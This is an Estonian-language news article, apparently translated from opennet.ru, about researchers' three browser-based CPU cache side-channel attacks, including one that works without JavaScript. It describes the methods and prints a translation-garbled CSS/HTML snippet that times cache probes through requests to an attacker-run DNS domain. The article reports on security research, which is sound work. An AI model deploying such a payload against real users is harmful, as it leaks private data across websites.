Andmete vĂ€ljavĂ”tmise rĂŒnnak CPU vahemĂ€lust, mis toimub veebibrauseris ilma JavaScriptita

RĂŒhm teadlasi mitmest Ameerika, Iisraeli ja Austraalia ĂŒlikoolist on vĂ€lja töötanud kolm töötavat brauserite rĂŒnnakut, et hankida teavet protsessorikande sisu kohta. Üks meetod töötab brauserites ilma JavaScriptita, samas kui kaks ĂŒlejÀÀnut mööduvad olemasolevatest kaitsemeetoditest kolmandate osapoolte rĂŒnnakute vastu, sealhulgas neid, mida kasutatakse Tor brauseris ja DeterFoxis. RĂŒnnakute demonstreerimise kood ning rĂŒnnakuteks vajalikud serverikomponendid on avaldatud GitHubis.

RĂŒnnakute kĂ”igis versioonides kasutatakse kande sisu analĂŒĂŒsimiseks meetodit Prime+Probe, mis hĂ”lmab kande tĂ€itmist standardsete vÀÀrtuste kogumiga ja muutuste mÀÀramist, mÔÔtes sellele juurde pÀÀsemise aega korduvate tĂ€itmiste kĂ€igus. Brauserites olemasolevate kaitsemehhanismide, mis takistavad aja tĂ€pset mÔÔtmist, ĂŒletamiseks toimub kahes versioonis pöördumine rĂŒndaja kontrollitava DNS- vĂ”i WebSocket-serveri poole, kus logitakse pĂ€ringute saabumise ajad. Ühes variandis kasutatakse DNS-vastuse fikseeritud aega kui ajanĂ€itena.

Ajavahemike mÔÔtmised, milles osalesid vĂ€lised DNS- vĂ”i WebSocket-serverid, osutusid masinĂ”ppel pĂ”hineva klassifitseerimissĂŒsteemi rakendamisel piisavaks vÀÀrtuste ennustamiseks kuni 98% tĂ€psusega optimiseeritud stsenaariumi korral (keskmiselt 80-90%). RĂŒnnaku meetodeid testiti erinevatel riistvaraplatvormidel (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ja need osutusid universaalseteks.

Andmete vĂ€ljavĂ”tmise rĂŒnnak CPU vahemĂ€lust, mis toimub veebibrauseris ilma JavaScriptita

Esimeses versioonis rĂŒnnaku „DNS Racing“ raames kasutatakse klassikalist Prime+Probe meetodi teostust, mis kasutab JavaScripti massiive. Erinevused seisnevad vĂ€lise DNS-pĂ”hise taimeri ja onerror kĂ€itleja rakendamises, mis aktiveerub katse korraldamisel piltide laadimiseks mittesobivast domeenist. VĂ€lise taimeri kasutamine vĂ”imaldab teostada Prime+Probe rĂŒnnakut brauserites, mis piiravad vĂ”i keelavad tĂ€ielikult JavaScripti taimeritele juurdepÀÀsu.

DNS-serveri, mis asub samas Ethernet-vĂ”rgus, tĂ€psus on hinnanguliselt umbes 2 ms, mis on piisav rĂŒnnakuks kĂ”rvalkanalitelt (vĂ”rdluseks on tavalise JavaScripti taimeri tĂ€psus Tor Brauseris alandatud 100 ms-ni). RĂŒnnaku kĂ€igus ei ole DNS-serveri ĂŒle kontrolli vajalik, kuna operatsiooni tĂ€itmise aeg valitakse nii, et DNS-i vastuse aeg nĂ€itab varasemat lĂ”petamist (sĂ”ltuvalt sellest, kas on toimunud onerror töötleja aktiveerimine, jĂ€reldatakse, kui kiiresti kontrollimisoperatsioon on lĂ”pule viidud vahemĂ€llu).

Teine rĂŒnnaku meetod "String and Sock" on suunatud kaitsemeetodite ĂŒletamisele, mis piiravad madala taseme massiivide kasutamist JavaScriptis. Selle asemel, et kasutada massiive, kasutatakse "String and Sock" puhul vĂ€ga suurte stringide operatsioone, mille suurus on valitud nii, et muutuja katab kogu LLC (viimane taseme vahemĂ€lu). Edasi kasutatakse funktsiooni indexOf() stringis vĂ€ikese alamsĂ”ne otsimiseks, mis algselt puudub algsest stringist, s.t. otsimisoperatsioon toob kaasa kogu stringi lĂ€bitöötamise. Kuna stringi suurus vastab LLC-vahemĂ€lu suurusele, vĂ”imaldab skaneerimine teha vahemĂ€lu kontrollimisoperatsiooni ilma massiividega manipuleerimata. Viivituste mÔÔtmiseks kasutatakse DNS-i asemel rĂŒnnakut taotleva WebSocket-serveriga - enne ja pĂ€rast stringi otsimise operatsiooni algust saadetakse pĂ€ringud, mille alusel serveris arvutatakse viivitus, mida kasutatakse vahemĂ€lu sisu analĂŒĂŒsimiseks.

Kolmas rĂŒnnakumeetod «CSS PP0» on ellu viidud HTML-i ja CSS-i kaudu ning saab töötada brauserites, kus JavaScript on vĂ€lja lĂŒlitatud. Meetod sarnaneb «String and Sock» meetodile, kuid ei ole seotud JavaScriptiga. RĂŒnnaku kĂ€igus luuakse kogum CSS-selectoreid, mis otsivad vastavalt maskile. Algne suur string, mis tĂ€idab vahemĂ€lu, mÀÀratakse lĂ€bi div-tĂ€gi loomise, mille klassinimi on ÀÀrmiselt pikk. Selle sees asub hulk teisi div-e, igaĂŒhel oma identifikaator. IgaĂŒhe jaoks mÀÀratakse oma stiil, mille selektor otsib alamsĂ”ne. Lehe joonistamise ajal pĂŒĂŒab brauser esmalt töödelda sisemisi div-e, mis toob kaasa suure stringi otsimise. Otsimine toimub eelnevalt teadmata maski jĂ€rgi ja viib kogu stringi lĂ€biviimiseni, mille tulemuseks on tingimuse «not» aktiveerimine ja katse laadida taustapilti, mis viitab juhuslikule. domeenid: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»ŃŃ‚Ń€ĐŸĐșа," Ń€Đ°Đ·ĐŒĐ”Ń€ĐŸĐŒ ĐŸĐșĐŸĐ»ĐŸ ĐŒĐ”ĐłĐ°Đ±Đ°Đčта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Aladomeenid teenindatakse rĂŒnnaku DNS-serveris, mis suudab mÔÔta pĂ€ringute vastamise viivitusi. KĂ”ikidele pĂ€ringutele DNS-server annab NXDOMAIN ja peab logi tĂ€psest ajast, mil pĂ€ringud saabuvad. Div-plete kogumi töötlemise tulemusena saadetakse rĂŒnnaku DNS-serverisse seeria pĂ€ringuid, mille viivitused korreleeruvad vahemĂ€lu sisu kontrollimise tulemusega.

Andmete vĂ€ljavĂ”tmise rĂŒnnak CPU vahemĂ€lust, mis toimub veebibrauseris ilma JavaScriptita


Allikas: opennet.ru
Osta usaldusvÀÀrne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid - ProHoster